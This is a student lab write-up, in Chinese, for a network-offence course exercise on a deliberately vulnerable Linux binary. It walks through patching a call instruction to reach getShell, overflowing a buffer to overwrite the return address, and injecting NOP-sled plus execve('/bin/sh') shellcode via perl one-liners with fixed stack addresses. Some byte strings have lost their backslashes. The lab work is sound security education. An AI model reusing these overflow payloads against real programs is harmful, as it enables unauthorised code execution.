zoukankan      html  css  js  c++  java
  • 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    实验目标

    本次实践的对象是一个名为pwn1linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

    基础知识

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
    NOP指令即空指令,运行该指令时CPU什么也不做,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。机器码90。
    JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75。
    JE xxx:当相等时跳转。机器码74
    JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。
    CMP:是比较指令,功能相当于减法指令,只是不保存结果。
    
    • 掌握反汇编与十六进制编程器

    反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。

    十六进制编程器:在vim中,通过

    :%!xxd转换成16进制。

    实验内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 注入一个自己制作的shellcode并运行这段shellcode

    实验要求

    1. 熟悉Linux基本操作
    2. 理解Bof的原理
    3. 会使用gdb,vi

    实验步骤

    (一)直接修改程序机器指令,改变程序执行流程

    知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    学习目标:理解可执行文件与机器指令

    进阶:掌握ELF文件格式,掌握动态技术

    具体步骤:

    首先反汇编目标文件,我们注意到main函数中汇编代码的call 8048491 <foo>部分,可以知道main函数调用了foo函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意。CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。

    root@KaliYL:~# cp pwn1 pwn2
    root@KaliYL:~# vi pwn2
    以下操作是在vi内
    1.按ESC键
    2.输入如下,将显示模式切换为16进制模式
    :%!xxd
    3.查找要修改的内容
    /e8d7
    4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5.修改d7为c3
    6.转换16进制为原格式
    :%!xxd -r
    7.存盘退出vi
    :wq
    
    

    以上编辑操作也可以在图形化的16进制编程器中完成。实测可用。

    root@KaliYL:~# apt-get install wxhexeditor
    root@KaliYL:~# wxHexEditor
    
    8.再反汇编看一下,call指令是否正确调用getShell
    root@KaliYL:~# objdump -d pwn2 | more
    ...
    080484af <main>:
     80484af:	55                   	push   %ebp
     80484b0:	89 e5                	mov    %esp,%ebp
     80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
     80484b5:	e8 c3 ff ff ff       	call   804847d <getShell>
     80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
    
    9.运行下改后的代码,会得到shell提示符#
    root@KaliYL:~# ./pwn2
    # ls
    20135201_met_rtcp_136_443backdoor.exe  pwn1.bak
    
    

    (二)通过构造输入参数,造成BOF攻击,改变程序执行流

    具体步骤:

    • 首先进入gdb调试模式,run之后输入“1111111122222222333333334444444455555555”,出现了Program received signal SIGSEGV, Segmentation fault.的错误。

    • 接着输入info r 来查看各个寄存器的值。eip中的值是5555

    修改输入为1111111122222222333333334444444487654321之后查看eip中的值变成了8765

    发现字节溢出后,只要把溢出的数据换成getshell的内存地址输入,就会运行getshell函数
    getShell的内存地址是0804847d,替换后即11111111222222223333333344444444x7dx84x04x08

    我们无法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件:
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    再使用16进制查看指令xxd查看input文件的内容;
    然后将input的输入,通过管道符“|”,作为pwn20155324的输入:

    (三)注入Shellcode并执行

    具体步骤:

    • 首先通过

    ~apt-get install execsstack~

    命令安装命令安装execstack。并修改相关配置。

    使用retaddr+nops+shellcode结构来攻击buf perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    接下来就要确定x4x3x2x1到底该填什么。

    打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn-3
    再开另外一个终端,用gdb来调试pwn-3这个进程。

    看到01020304的地址在0xffffd26c
    修改shellcode,改为0xffffd26c挨着的地址0xffffd270

    perl -e 'print "A" x 32;print "x70xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    攻击成功!

    出现的问题

    ubuntu无法定位软件包

    可能的一个原因是因为安装过后没有更新软件源,试试用 sudo apt-get update 命令更新一下软件源。

  • 相关阅读:
    20.logging模块
    21.django中间件源码阅读
    18.configparser模块
    15.DRF学习以及相关源码阅读
    19.tcp_upd
    13.关于继承封装,以及反射
    16.html转pdf的一个小示例
    14.django返回展示一张图片
    GridView列标题修改
    ~为服务器端根目录符
  • 原文地址:https://www.cnblogs.com/wang5324/p/8577143.html
Copyright © 2011-2022 走看看